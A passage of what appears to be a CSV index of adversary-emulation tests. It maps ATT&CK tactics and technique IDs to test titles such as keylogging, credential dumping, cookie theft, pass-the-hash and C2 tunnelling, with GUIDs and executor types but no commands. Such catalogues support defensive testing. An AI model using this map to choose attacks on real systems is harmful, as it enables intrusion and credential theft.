Beaconing,3efc144e-1af8-46bb-8ca2-1376bb6db8b6,powershell +command-and-control,T1071.004,Application Layer Protocol: DNS,3,DNS Long Domain Query,fef31710-223a-40ee-8462-a396d6b66978,powershell +command-and-control,T1071.004,Application Layer Protocol: DNS,4,DNS C2,e7bf9802-2e78-4db9-93b5-181b7bcd37d7,powershell +command-and-control,T1071,Application Layer Protocol,1,Telnet C2,3b0df731-030c-4768-b492-2a3216d90e53,powershell +command-and-control,T1219,Remote Access Software,1,TeamViewer Files Detected Test on Windows,8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0,powershell +command-and-control,T1219,Remote Access Software,2,AnyDesk Files Detected Test on Windows,6b8b7391-5c0a-4f8c-baee-78d8ce0ce330,powershell +command-and-control,T1219,Remote Access Software,3,LogMeIn Files Detected Test on Windows,d03683ec-aae0-42f9-9b4c-534780e0f8e1,powershell +command-and-control,T1219,Remote Access Software,4,GoToAssist Files Detected Test on Windows,1b72b3bd-72f8-4b63-a30b-84e91b9c3578,powershell +command-and-control,T1219,Remote Access Software,5,ScreenConnect Application Download and Install on Windows,4a18cc4e-416f-4966-9a9d-75731c4684c0,powershell +command-and-control,T1219,Remote Access Software,6,Ammyy Admin Software Execution,0ae9e327-3251-465a-a53b-485d4e3f58fa,powershell +command-and-control,T1219,Remote Access Software,7,RemotePC Software Execution,fbff3f1f-b0bf-448e-840f-7e1687affdce,powershell +command-and-control,T1219,Remote Access Software,8,NetSupport - RAT Execution,ecca999b-e0c8-40e8-8416-ad320b146a75,powershell +command-and-control,T1219,Remote Access Software,9,UltraViewer - RAT Execution,19acf63b-55c4-4b6a-8552-00a8865105c8,powershell +command-and-control,T1219,Remote Access Software,10,UltraVNC Execution,42e51815-a6cc-4c75-b970-3f0ff54b610e,powershell +command-and-control,T1219,Remote Access Software,11,MSP360 Connect Execution,b1b8128b-c5d4-4de9-bf70-e60419274562,powershell +command-and-control,T1219,Remote Access Software,12,RustDesk Files Detected Test on Windows,f1641ba9-919a-4323-b74f-33372333bf0e,powershell +command-and-control,T1219,Remote Access Software,13,Splashtop Execution,b025c580-029e-4023-888d-a42710d76934,powershell +command-and-control,T1219,Remote Access Software,14,Splashtop Streamer Execution,3e1858ee-3550-401c-86ec-5e70ed79295b,powershell +command-and-control,T1219,Remote Access Software,15,Microsoft App Quick Assist Execution,1aea6d15-70f1-4b4e-8b02-397b5d5ffe75,powershell +command-and-control,T1572,Protocol Tunneling,1,DNS over HTTPS Large Query Volume,ae9ef4b0-d8c1-49d4-8758-06206f19af0a,powershell +command-and-control,T1572,Protocol Tunneling,2,DNS over HTTPS Regular Beaconing,0c5f9705-c575-42a6-9609-cbbff4b2fc9b,powershell +command-and-control,T1572,Protocol Tunneling,3,DNS over HTTPS Long Domain Query,748a73d5-cea4-4f34-84d8-839da5baa99c,powershell +command-and-control,T1572,Protocol Tunneling,4,run ngrok,4cdc9fc7-53fb-4894-9f0c-64836943ea60,powershell +command-and-control,T1572,Protocol Tunneling,5,Microsoft Dev tunnels (Linux/macOS),9f94a112-1ce2-464d-a63b-83c1f465f801,bash +command-and-control,T1572,Protocol Tunneling,6,VSCode tunnels (Linux/macOS),b877943f-0377-44f4-8477-f79db7f07c4d,sh +command-and-control,T1572,Protocol Tunneling,7,Cloudflare tunnels (Linux/macOS),228c336a-2f79-4043-8aef-bfa453a611d5,sh +command-and-control,T1090.003,Proxy: Multi-hop Proxy,1,Psiphon,14d55ca0-920e-4b44-8425-37eedd72b173,powershell +command-and-control,T1090.003,Proxy: Multi-hop Proxy,2,Tor Proxy Usage - Windows,7b9d85e5-c4ce-4434-8060-d3de83595e69,powershell +command-and-control,T1090.003,Proxy: Multi-hop Proxy,3,Tor Proxy Usage - Debian/Ubuntu/FreeBSD,5ff9d047-6e9c-4357-b39b-5cf89d9b59c7,sh +command-and-control,T1090.003,Proxy: Multi-hop Proxy,4,Tor Proxy Usage - MacOS,12631354-fdbc-4164-92be-402527e748da,sh +command-and-control,T1571,Non-Standard Port,1,Testing usage of uncommonly used port with PowerShell,21fe622f-8e53-4b31-ba83-6d333c2583f4,powershell +command-and-control,T1571,Non-Standard Port,2,Testing usage of uncommonly used port,5db21e1d-dd9c-4a50-b885-b1e748912767,sh +command-and-control,T1573,Encrypted Channel,1,OpenSSL C2,21caf58e-87ad-440c-a6b8-3ac259964003,powershell +command-and-control,T1095,Non-Application Layer Protocol,1,ICMP C2,0268e63c-e244-42db-bef7-72a9e59fc1fc,powershell +command-and-control,T1095,Non-Application Layer Protocol,2,Netcat C2,bcf0d1c1-3f6a-4847-b1c9-7ed4ea321f37,powershell +command-and-control,T1095,Non-Application Layer Protocol,3,Powercat C2,3e0e0e7f-6aa2-4a61-b61d-526c2cc9330e,powershell +command-and-control,T1095,Non-Application Layer Protocol,4,Linux ICMP Reverse Shell using icmp-cnc,8e139e1f-1f3a-4be7-901d-afae9738c064,manual +command-and-control,T1071.001,Application Layer Protocol: Web Protocols,1,Malicious User Agents - Powershell,81c13829-f6c9-45b8-85a6-053366d55297,powershell +command-and-control,T1071.001,Application Layer Protocol: Web Protocols,2,Malicious User Agents - CMD,dc3488b0-08c7-4fea-b585-905c83b48180,command_prompt +command-and-control,T1071.001,Application Layer Protocol: Web Protocols,3,Malicious User Agents - Nix,2d7c471a-e887-4b78-b0dc-b0df1f2e0658,sh +command-and-control,T1105,Ingress Tool Transfer,1,rsync remote file copy (push),0fc6e977-cb12-44f6-b263-2824ba917409,sh +command-and-control,T1105,Ingress Tool Transfer,2,rsync remote file copy (pull),3180f7d5-52c0-4493-9ea0-e3431a84773f,sh +command-and-control,T1105,Ingress Tool Transfer,3,scp remote file copy (push),83a49600-222b-4866-80a0-37736ad29344,sh +command-and-control,T1105,Ingress Tool Transfer,4,scp remote file copy (pull),b9d22b9a-9778-4426-abf0-568ea64e9c33,sh +command-and-control,T1105,Ingress Tool Transfer,5,sftp remote file copy (push),f564c297-7978-4aa9-b37a-d90477feea4e,bash +command-and-control,T1105,Ingress Tool Transfer,6,sftp remote file copy (pull),0139dba1-f391-405e-a4f5-f3989f2c88ef,sh +command-and-control,T1105,Ingress Tool Transfer,7,certutil download (urlcache),dd3b61dd-7bbc-48cd-ab51-49ad1a776df0,command_prompt +command-and-control,T1105,Ingress Tool Transfer,8,certutil download (verifyctl),ffd492e3-0455-4518-9fb1-46527c9f241b,powershell +command-and-control,T1105,Ingress Tool Transfer,9,Windows - BITSAdmin BITS Download,a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b,command_prompt +command-and-control,T1105,Ingress Tool Transfer,10,Windows - PowerShell Download,42dc4460-9aa6-45d3-b1a6-3955d34e1fe8,powershell +command-and-control,T1105,Ingress Tool Transfer,11,OSTAP Worming Activity,2ca61766-b456-4fcf-a35a-1233685e1cad,command_prompt +command-and-control,T1105,Ingress Tool Transfer,12,svchost writing a file to a UNC path,fa5a2759-41d7-4e13-a19c-e8f28a53566f,command_prompt +command-and-control,T1105,Ingress Tool Transfer,13,Download a File with Windows Defender MpCmdRun.exe,815bef8b-bf91-4b67-be4c-abe4c2a94ccc,command_prompt +command-and-control,T1105,Ingress Tool Transfer,14,whois file download,c99a829f-0bb8-4187-b2c6-d47d1df74cab,sh +command-and-control,T1105,Ingress Tool Transfer,15,File Download via PowerShell,54a4daf1-71df-4383-9ba7-f1a295d8b6d2,powershell +command-and-control,T1105,Ingress Tool Transfer,16,File download with finger.exe on Windows,5f507e45-8411-4f99-84e7-e38530c45d01,command_prompt +command-and-control,T1105,Ingress Tool Transfer,17,Download a file with IMEWDBLD.exe,1a02df58-09af-4064-a765-0babe1a0d1e2,powershell +command-and-control,T1105,Ingress Tool Transfer,18,Curl Download File,2b080b99-0deb-4d51-af0f-833d37c4ca6a,command_prompt +command-and-control,T1105,Ingress Tool Transfer,19,Curl Upload File,635c9a38-6cbf-47dc-8615-3810bc1167cf,command_prompt +command-and-control,T1105,Ingress Tool Transfer,20,Download a file with Microsoft Connection Manager Auto-Download,d239772b-88e2-4a2e-8473-897503401bcc,command_prompt +command-and-control,T1105,Ingress Tool Transfer,21,MAZE Propagation Script,70f4d07c-5c3e-4d53-bb0a-cdf3ada14baf,powershell +command-and-control,T1105,Ingress Tool Transfer,22,Printer Migration Command-Line Tool UNC share folder into a zip file,49845fc1-7961-4590-a0f0-3dbcf065ae7e,command_prompt +command-and-control,T1105,Ingress Tool Transfer,23,Lolbas replace.exe use to copy file,54782d65-12f0-47a5-b4c1-b70ee23de6df,command_prompt +command-and-control,T1105,Ingress Tool Transfer,24,Lolbas replace.exe use to copy UNC file,ed0335ac-0354-400c-8148-f6151d20035a,command_prompt +command-and-control,T1105,Ingress Tool Transfer,25,certreq download,6fdaae87-c05b-42f8-842e-991a74e8376b,command_prompt +command-and-control,T1105,Ingress Tool Transfer,26,Download a file using wscript,97116a3f-efac-4b26-8336-b9cb18c45188,command_prompt +command-and-control,T1105,Ingress Tool Transfer,27,Linux Download File and Run,bdc373c5-e9cf-4563-8a7b-a9ba720a90f3,sh +command-and-control,T1105,Ingress Tool Transfer,28,Nimgrab - Transfer Files,b1729c57-9384-4d1c-9b99-9b220afb384e,command_prompt +command-and-control,T1105,Ingress Tool Transfer,29,iwr or Invoke Web-Request download,c01cad7f-7a4c-49df-985e-b190dcf6a279,command_prompt +command-and-control,T1105,Ingress Tool Transfer,30,Arbitrary file download using the Notepad++ GUP.exe binary,66ee226e-64cb-4dae-80e3-5bf5763e4a51,command_prompt +command-and-control,T1105,Ingress Tool Transfer,31,File download via nscurl,5bcefe5f-3f30-4f1c-a61a-8d7db3f4450c,sh +command-and-control,T1105,Ingress Tool Transfer,32,File Download with Sqlcmd.exe,6934c16e-0b3a-4e7f-ab8c-c414acd32181,powershell +command-and-control,T1105,Ingress Tool Transfer,33,Remote File Copy using PSCP,c82b1e60-c549-406f-9b00-0a8ae31c9cfe,command_prompt +command-and-control,T1105,Ingress Tool Transfer,34,Windows push file using scp.exe,2a4b0d29-e5dd-4b66-b729-07423ba1cd9d,powershell +command-and-control,T1105,Ingress Tool Transfer,35,Windows pull file using scp.exe,401667dc-05a6-4da0-a2a7-acfe4819559c,powershell +command-and-control,T1105,Ingress Tool Transfer,36,Windows push file using sftp.exe,205e676e-0401-4bae-83a5-94b8c5daeb22,powershell +command-and-control,T1105,Ingress Tool Transfer,37,Windows pull file using sftp.exe,3d25f1f2-55cb-4a41-a523-d17ad4cfba19,powershell +command-and-control,T1105,Ingress Tool Transfer,38,Download a file with OneDrive Standalone Updater,3dd6a6cf-9c78-462c-bd75-e9b54fc8925b,powershell +command-and-control,T1105,Ingress Tool Transfer,39,Curl Insecure Connection from a Pod,7e2ad0db-1efa-4af2-a77c-bc6e87d7b3f3,bash +command-and-control,T1001.002,Data Obfuscation via Steganography,1,Steganographic Tarball Embedding,c7921449-8b62-4c4d-8a83-d9281ac0190b,powershell +command-and-control,T1001.002,Data Obfuscation via Steganography,2,Embedded Script in Image Execution via Extract-Invoke-PSImage,04bb8e3d-1670-46ab-a3f1-5cee64da29b6,powershell +command-and-control,T1001.002,Data Obfuscation via Steganography,3,Execute Embedded Script in Image via Steganography,4ff61684-ad91-405c-9fbc-048354ff1d07,sh +command-and-control,T1090.001,Proxy: Internal Proxy,1,Connection Proxy,0ac21132-4485-4212-a681-349e8a6637cd,sh +command-and-control,T1090.001,Proxy: Internal Proxy,2,Connection Proxy for macOS UI,648d68c1-8bcd-4486-9abe-71c6655b6a2c,sh +command-and-control,T1090.001,Proxy: Internal Proxy,3,portproxy reg key,b8223ea9-4be2-44a6-b50a-9657a3d4e72a,powershell +collection,T1560.001,Archive Collected Data: Archive via Utility,1,Compress Data for Exfiltration With Rar,02ea31cb-3b4c-4a2d-9bf1-e4e70ebcf5d0,command_prompt +collection,T1560.001,Archive Collected Data: Archive via Utility,2,Compress Data and lock with password for Exfiltration with winrar,8dd61a55-44c6-43cc-af0c-8bdda276860c,command_prompt +collection,T1560.001,Archive Collected Data: Archive via Utility,3,Compress Data and lock with password for Exfiltration with winzip,01df0353-d531-408d-a0c5-3161bf822134,command_prompt +collection,T1560.001,Archive Collected Data: Archive via Utility,4,Compress Data and lock with password for Exfiltration with 7zip,d1334303-59cb-4a03-8313-b3e24d02c198,command_prompt +collection,T1560.001,Archive Collected Data: Archive via Utility,5,Data Compressed - nix - zip,c51cec55-28dd-4ad2-9461-1eacbc82c3a0,bash +collection,T1560.001,Archive Collected Data: Archive via Utility,6,Data Compressed - nix - gzip Single File,cde3c2af-3485-49eb-9c1f-0ed60e9cc0af,sh +collection,T1560.001,Archive Collected Data: Archive via Utility,7,Data Compressed - nix - tar Folder or File,7af2b51e-ad1c-498c-aca8-d3290c19535a,sh +collection,T1560.001,Archive Collected Data: Archive via Utility,8,Data Encrypted with zip and gpg symmetric,0286eb44-e7ce-41a0-b109-3da516e05a5f,sh +collection,T1560.001,Archive Collected Data: Archive via Utility,9,Encrypts collected data with AES-256 and Base64,a743e3a6-e8b2-4a30-abe7-ca85d201b5d3,bash +collection,T1560.001,Archive Collected Data: Archive via Utility,10,ESXi - Remove Syslog remote IP,36c62584-d360-41d6-886f-d194654be7c2,powershell +collection,T1560.001,Archive Collected Data: Archive via Utility,11,Compress a File for Exfiltration using Makecab,2a7bc405-9555-4f49-ace2-b2ae2941d629,command_prompt +collection,T1560.001,Archive Collected Data: Archive via Utility,12,Copy and Compress AppData Folder,05e8942e-f04f-460a-b560-f7781257feec,powershell +collection,T1113,Screen Capture,1,Screencapture,0f47ceb1-720f-4275-96b8-21f0562217ac,bash +collection,T1113,Screen Capture,2,Screencapture (silent),deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4,bash +collection,T1113,Screen Capture,3,X Windows Capture,8206dd0c-faf6-4d74-ba13-7fbe13dce6ac,bash +collection,T1113,Screen Capture,4,X Windows Capture (freebsd),562f3bc2-74e8-46c5-95c7-0e01f9ccc65c,sh +collection,T1113,Screen Capture,5,Capture Linux Desktop using Import Tool,9cd1cccb-91e4-4550-9139-e20a586fcea1,bash +collection,T1113,Screen Capture,6,Capture Linux Desktop using Import Tool (freebsd),18397d87-38aa-4443-a098-8a48a8ca5d8d,sh +collection,T1113,Screen Capture,7,Windows Screencapture,3c898f62-626c-47d5-aad2-6de873d69153,powershell +collection,T1113,Screen Capture,8,Windows Screen Capture (CopyFromScreen),e9313014-985a-48ef-80d9-cde604ffc187,powershell +collection,T1113,Screen Capture,9,Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted,5a496325-0115-4274-8eb9-755b649ad0fb,powershell +collection,T1113,Screen Capture,10,RDP Bitmap Cache Extraction via bmc-tools,98f19852-7348-4f99-9e15-6ff4320464c7,powershell +collection,T1056.001,Input Capture: Keylogging,1,Input Capture,d9b633ca-8efb-45e6-b838-70f595c6ae26,powershell +collection,T1056.001,Input Capture: Keylogging,2,Living off the land Terminal Input Capture on Linux with pam.d,9c6bdb34-a89f-4b90-acb1-5970614c711b,sh +collection,T1056.001,Input Capture: Keylogging,3,Logging bash history to syslog,0e59d59d-3265-4d35-bebd-bf5c1ec40db5,sh +collection,T1056.001,Input Capture: Keylogging,4,Logging sh history to syslog/messages,b04284dc-3bd9-4840-8d21-61b8d31c99f2,sh +collection,T1056.001,Input Capture: Keylogging,5,Bash session based keylogger,7f85a946-a0ea-48aa-b6ac-8ff539278258,bash +collection,T1056.001,Input Capture: Keylogging,6,SSHD PAM keylogger,81d7d2ad-d644-4b6a-bea7-28ffe43becca,sh +collection,T1056.001,Input Capture: Keylogging,7,Auditd keylogger,a668edb9-334e-48eb-8c2e-5413a40867af,sh +collection,T1056.001,Input Capture: Keylogging,8,MacOS Swift Keylogger,aee3a097-4c5c-4fff-bbd3-0a705867ae29,bash +collection,T1123,Audio Capture,1,using device audio capture commandlet,9c3ad250-b185-4444-b5a9-d69218a10c95,powershell +collection,T1123,Audio Capture,2,Registry artefact when application use microphone,7a21cce2-6ada-4f7c-afd9-e1e9c481e44a,command_prompt +collection,T1123,Audio Capture,3,using Quicktime Player,c7a0bb71-70ce-4a53-b115-881f241b795b,sh +collection,T1025,Data from Removable Media,1,Identify Documents on USB and Removable Media via PowerShell,0b29f7e3-a050-44b7-bf05-9fb86af1ec2e,command_prompt +collection,T1074.001,Data Staged: Local Data Staging,1,Stage data from Discovery.bat,107706a5-6f9f-451a-adae-bab8c667829f,powershell +collection,T1074.001,Data Staged: Local Data Staging,2,Stage data from Discovery.sh,39ce0303-ae16-4b9e-bb5b-4f53e8262066,sh +collection,T1074.001,Data Staged: Local Data Staging,3,Zip a Folder with PowerShell for Staging in Temp,a57fbe4b-3440-452a-88a7-943531ac872a,powershell +collection,T1114.001,Email Collection: Local Email Collection,1,Email Collection with PowerShell Get-Inbox,3f1b5096-0139-4736-9b78-19bcb02bb1cb,powershell +collection,T1119,Automated Collection,1,Automated Collection Command Prompt,cb379146-53f1-43e0-b884-7ce2c635ff5b,command_prompt +collection,T1119,Automated Collection,2,Automated Collection PowerShell,634bd9b9-dc83-4229-b19f-7f83ba9ad313,powershell +collection,T1119,Automated Collection,3,Recon information for export with PowerShell,c3f6d794-50dd-482f-b640-0384fbb7db26,powershell +collection,T1119,Automated Collection,4,Recon information for export with Command Prompt,aa1180e2-f329-4e1e-8625-2472ec0bfaf3,command_prompt +collection,T1115,Clipboard Data,1,Utilize Clipboard to store or execute commands from,0cd14633-58d4-4422-9ede-daa2c9474ae7,command_prompt +collection,T1115,Clipboard Data,2,Execute Commands from Clipboard using PowerShell,d6dc21af-bec9-4152-be86-326b6babd416,powershell +collection,T1115,Clipboard Data,3,Execute commands from clipboard,1ac2247f-65f8-4051-b51f-b0ccdfaaa5ff,bash +collection,T1115,Clipboard Data,4,Collect Clipboard Data via VBA,9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52,powershell +collection,T1115,Clipboard Data,5,Add or copy content to clipboard with xClip,ee363e53-b083-4230-aff3-f8d955f2d5bb,sh +collection,T1530,Data from Cloud Storage Object,1,AWS - Scan for Anonymous Access to S3,979356b9-b588-4e49-bba4-c35517c484f5,sh +collection,T1530,Data from Cloud Storage Object,2,Azure - Dump Azure Storage Account Objects via Azure CLI,67374845-b4c8-4204-adcc-9b217b65d4f1,powershell +collection,T1005,Data from Local System,1,Search files of interest and save them to a single zip file (Windows),d3d9af44-b8ad-4375-8b0a-4bff4b7e419c,powershell +collection,T1005,Data from Local System,2,Find and dump sqlite databases (Linux),00cbb875-7ae4-4cf1-b638-e543fd825300,bash +collection,T1005,Data from Local System,3,Copy Apple Notes database files using AppleScript,cfb6d400-a269-4c06-a347-6d88d584d5f7,sh +collection,T1560.002,Archive Collected Data: Archive via Library,1,Compressing data using GZip in Python (FreeBSD/Linux),391f5298-b12d-4636-8482-35d9c17d53a8,sh +collection,T1560.002,Archive Collected Data: Archive via Library,2,Compressing data using bz2 in Python (FreeBSD/Linux),c75612b2-9de0-4d7c-879c-10d7b077072d,sh +collection,T1560.002,Archive Collected Data: Archive via Library,3,Compressing data using zipfile in Python (FreeBSD/Linux),001a042b-859f-44d9-bf81-fd1c4e2200b0,sh +collection,T1560.002,Archive Collected Data: Archive via Library,4,Compressing data using tarfile in Python (FreeBSD/Linux),e86f1b4b-fcc1-4a2a-ae10-b49da01458db,sh +collection,T1560,Archive Collected Data,1,Compress Data for Exfiltration With PowerShell,41410c60-614d-4b9d-b66e-b0192dd9c597,powershell +collection,T1557.001,Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay,1,LLMNR Poisoning with Inveigh (PowerShell),deecd55f-afe0-4a62-9fba-4d1ba2deb321,powershell +collection,T1125,Video Capture,1,Registry artefact when application use webcam,6581e4a7-42e3-43c5-a0d2-5a0d62f9702a,command_prompt +collection,T1114.003,Email Collection: Email Forwarding Rule,1,Office365 - Email Forwarding,3234117e-151d-4254-9150-3d0bac41e38c,powershell +collection,T1056.002,Input Capture: GUI Input Capture,1,AppleScript - Prompt User for Password,76628574-0bc1-4646-8fe2-8f4427b47d15,bash +collection,T1056.002,Input Capture: GUI Input Capture,2,PowerShell - Prompt User for Password,2b162bfd-0928-4d4c-9ec3-4d9f88374b52,powershell +collection,T1056.002,Input Capture: GUI Input Capture,3,AppleScript - Spoofing a credential prompt using osascript,b7037b89-947a-427a-ba29-e7e9f09bc045,bash +collection,T1039,Data from Network Shared Drive,1,Copy a sensitive File over Administrative share with copy,6ed67921-1774-44ba-bac6-adb51ed60660,command_prompt +collection,T1039,Data from Network Shared Drive,2,Copy a sensitive File over Administrative share with Powershell,7762e120-5879-44ff-97f8-008b401b9a98,powershell +collection,T1114.002,Email Collection: Remote Email Collection,1,Office365 - Remote Mail Collected,36657d95-d9d6-4fbf-8a31-f4085607bafd,powershell +collection,T1056.004,Input Capture: Credential API Hooking,1,Hook PowerShell TLS Encrypt/Decrypt Messages,de1934ea-1fbf-425b-8795-65fb27dd7e33,powershell +lateral-movement,T1021.005,Remote Services:VNC,1,Enable Apple Remote Desktop Agent,8a930abe-841c-4d4f-a877-72e9fe90b9ea,sh +lateral-movement,T1021.004,Remote Services: SSH,1,ESXi - Enable SSH via PowerCLI,8f6c14d1-f13d-4616-b7fc-98cc69fe56ec,powershell +lateral-movement,T1021.004,Remote Services: SSH,2,ESXi - Enable SSH via VIM-CMD,280812c8-4dae-43e9-a74e-1d08ab997c0e,command_prompt +lateral-movement,T1091,Replication Through Removable Media,1,USB Malware Spread Simulation,d44b7297-622c-4be8-ad88-ec40d7563c75,powershell +lateral-movement,T1021.002,Remote Services: SMB/Windows Admin Shares,1,Map admin share,3386975b-367a-4fbb-9d77-4dcf3639ffd3,command_prompt +lateral-movement,T1021.002,Remote Services: SMB/Windows Admin Shares,2,Map Admin Share PowerShell,514e9cd7-9207-4882-98b1-c8f791bae3c5,powershell +lateral-movement,T1021.002,Remote Services: SMB/Windows Admin Shares,3,Copy and Execute File with PsExec,0eb03d41-79e4-4393-8e57-6344856be1cf,command_prompt +lateral-movement,T1021.002,Remote Services: SMB/Windows Admin Shares,4,Execute command writing output to local Admin Share,d41aaab5-bdfe-431d-a3d5-c29e9136ff46,command_prompt +lateral-movement,T1021.006,Remote Services: Windows Remote Management,1,Enable Windows Remote Management,9059e8de-3d7d-4954-a322-46161880b9cf,powershell +lateral-movement,T1021.006,Remote Services: Windows Remote Management,2,Remote Code Execution with PS Credentials Using Invoke-Command,5295bd61-bd7e-4744-9d52-85962a4cf2d6,powershell +lateral-movement,T1021.006,Remote Services: Windows Remote Management,3,WinRM Access with Evil-WinRM,efe86d95-44c4-4509-ae42-7bfd9d1f5b3d,powershell +lateral-movement,T1021.003,Remote Services: Distributed Component Object Model,1,PowerShell Lateral Movement using MMC20,6dc74eb1-c9d6-4c53-b3b5-6f50ae339673,powershell +lateral-movement,T1021.003,Remote Services: Distributed Component Object Model,2,PowerShell Lateral Movement Using Excel Application Object,505f24be-1c11-4694-b614-e01ae1cd2570,powershell +lateral-movement,T1550.003,Use Alternate Authentication Material: Pass the Ticket,1,Mimikatz Kerberos Ticket Attack,dbf38128-7ba7-4776-bedf-cc2eed432098,command_prompt +lateral-movement,T1550.003,Use Alternate Authentication Material: Pass the Ticket,2,Rubeus Kerberos Pass The Ticket,a2fc4ec5-12c6-4fb4-b661-961f23f359cb,powershell +lateral-movement,T1072,Software Deployment Tools,1,Radmin Viewer Utility,b4988cad-6ed2-434d-ace5-ea2670782129,command_prompt +lateral-movement,T1072,Software Deployment Tools,2,PDQ Deploy RAT,e447b83b-a698-4feb-bed1-a7aaf45c3443,command_prompt +lateral-movement,T1072,Software Deployment Tools,3,Deploy 7-Zip Using Chocolatey,2169e8b0-2ee7-44cb-8a6e-d816a5db7d8a,powershell +lateral-movement,T1570,Lateral Tool Transfer,1,Exfiltration Over SMB over QUIC (New-SmbMapping),d8d13303-159e-4f33-89f4-9f07812d016f,powershell +lateral-movement,T1570,Lateral Tool Transfer,2,Exfiltration Over SMB over QUIC (NET USE),183235ca-8e6c-422c-88c2-3aa28c4825d9,powershell +lateral-movement,T1563.002,Remote Service Session Hijacking: RDP Hijacking,1,RDP hijacking,a37ac520-b911-458e-8aed-c5f1576d9f46,command_prompt +lateral-movement,T1550.002,Use Alternate Authentication Material: Pass the Hash,1,Mimikatz Pass the Hash,ec23cef9-27d9-46e4-a68d-6f75f7b86908,command_prompt +lateral-movement,T1550.002,Use Alternate Authentication Material: Pass the Hash,2,crackmapexec Pass the Hash,eb05b028-16c8-4ad8-adea-6f5b219da9a9,command_prompt +lateral-movement,T1550.002,Use Alternate Authentication Material: Pass the Hash,3,Invoke-WMIExec Pass the Hash,f8757545-b00a-4e4e-8cfb-8cfb961ee713,powershell +lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,1,RDP to DomainController,355d4632-8cb9-449d-91ce-b566d0253d3e,powershell +lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,2,Changing RDP Port to Non Standard Port via Powershell,2f840dd4-8a2e-4f44-beb3-6b2399ea3771,powershell +lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,3,Changing RDP Port to Non Standard Port via Command_Prompt,74ace21e-a31c-4f7d-b540-53e4eb6d1f73,command_prompt +lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,4,Disable NLA for RDP via Command Prompt,01d1c6c0-faf0-408e-b368-752a02285cb2,command_prompt +credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,1,Malicious PAM rule,4b9dde80-ae22-44b1-a82a-644bf009eb9c,sh +credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,2,Malicious PAM rule (freebsd),b17eacac-282d-4ca8-a240-46602cf863e3,sh +credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,3,Malicious PAM module,65208808-3125-4a2e-8389-a0a00e9ab326,sh +credential-access,T1056.001,Input Capture: Keylogging,1,Input Capture,d9b633ca-8efb-45e6-b838-70f595c6ae26,powershell +credential-access,T1056.001,Input Capture: Keylogging,2,Living off the land Terminal Input Capture on Linux with pam.d,9c6bdb34-a89f-4b90-acb1-5970614c711b,sh +credential-access,T1056.001,Input Capture: Keylogging,3,Logging bash history to syslog,0e59d59d-3265-4d35-bebd-bf5c1ec40db5,sh +credential-access,T1056.001,Input Capture: Keylogging,4,Logging sh history to syslog/messages,b04284dc-3bd9-4840-8d21-61b8d31c99f2,sh +credential-access,T1056.001,Input Capture: Keylogging,5,Bash session based keylogger,7f85a946-a0ea-48aa-b6ac-8ff539278258,bash +credential-access,T1056.001,Input Capture: Keylogging,6,SSHD PAM keylogger,81d7d2ad-d644-4b6a-bea7-28ffe43becca,sh +credential-access,T1056.001,Input Capture: Keylogging,7,Auditd keylogger,a668edb9-334e-48eb-8c2e-5413a40867af,sh +credential-access,T1056.001,Input Capture: Keylogging,8,MacOS Swift Keylogger,aee3a097-4c5c-4fff-bbd3-0a705867ae29,bash +credential-access,T1110.001,Brute Force: Password Guessing,1,Brute Force Credentials of single Active Directory domain users via SMB,09480053-2f98-4854-be6e-71ae5f672224,command_prompt +credential-access,T1110.001,Brute Force: Password Guessing,2,Brute Force Credentials of single Active Directory domain user via LDAP against domain controller (NTLM or Kerberos),c2969434-672b-4ec8-8df0-bbb91f40e250,powershell +credential-access,T1110.001,Brute Force: Password Guessing,3,Brute Force Credentials of single Azure AD user,5a51ef57-299e-4d62-8e11-2d440df55e69,powershell +credential-access,T1110.001,Brute Force: Password Guessing,4,Password Brute User using Kerbrute Tool,59dbeb1a-79a7-4c2a-baf4-46d0f4c761c4,powershell +credential-access,T1110.001,Brute Force: Password Guessing,5,SUDO Brute Force - Debian,ba1bf0b6-f32b-4db0-b7cc-d78cacc76700,bash +credential-access,T1110.001,Brute Force: Password Guessing,6,SUDO Brute Force - Redhat,4097bc00-5eeb-4d56-aaf9-287d60351d95,bash +credential-access,T1110.001,Brute Force: Password Guessing,7,SUDO Brute Force - FreeBSD,abcde488-e083-4ee7-bc85-a5684edd7541,bash +credential-access,T1110.001,Brute Force: Password Guessing,8,ESXi - Brute Force Until Account Lockout,ed6c2c87-bba6-4a28-ac6e-c8af3d6c2ab5,powershell +credential-access,T1003,OS Credential Dumping,1,Gsecdump,96345bfc-8ae7-4b6a-80b7-223200f24ef9,command_prompt +credential-access,T1003,OS Credential Dumping,2,Credential Dumping with NPPSpy,9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6,powershell +credential-access,T1003,OS Credential Dumping,3,Dump svchost.exe to gather RDP credentials,d400090a-d8ca-4be0-982e-c70598a23de9,powershell +credential-access,T1003,OS Credential Dumping,4,Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list),6c7a4fd3-5b0b-4b30-a93e-39411b25d889,powershell +credential-access,T1003,OS Credential Dumping,5,Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config),42510244-5019-48fa-a0e5-66c3b76e6049,powershell +credential-access,T1003,OS Credential Dumping,6,Dump Credential Manager using keymgr.dll and rundll32.exe,84113186-ed3c-4d0d-8a3c-8980c86c1f4a,powershell +credential-access,T1003,OS Credential Dumping,7,Send NTLM Hash with RPC Test Connection,0b207037-813c-4444-ac3f-b597cf280a67,powershell +credential-access,T1539,Steal Web Session Cookie,1,Steal Firefox Cookies (Windows),4b437357-f4e9-4c84-9fa6-9bcee6f826aa,powershell +credential-access,T1539,Steal Web Session Cookie,2,Steal Chrome Cookies (Windows),26a6b840-4943-4965-8df5-ef1f9a282440,powershell +credential-access,T1539,Steal Web Session Cookie,3,Steal Chrome Cookies via Remote Debugging (Mac),e43cfdaf-3fb8-4a45-8de0-7eee8741d072,bash +credential-access,T1539,Steal Web Session Cookie,4,Steal Chrome v127+ cookies via Remote Debugging (Windows),b647f4ee-88de-40ac-9419-f17fac9489a7,powershell +credential-access,T1539,Steal Web Session Cookie,5,Copy 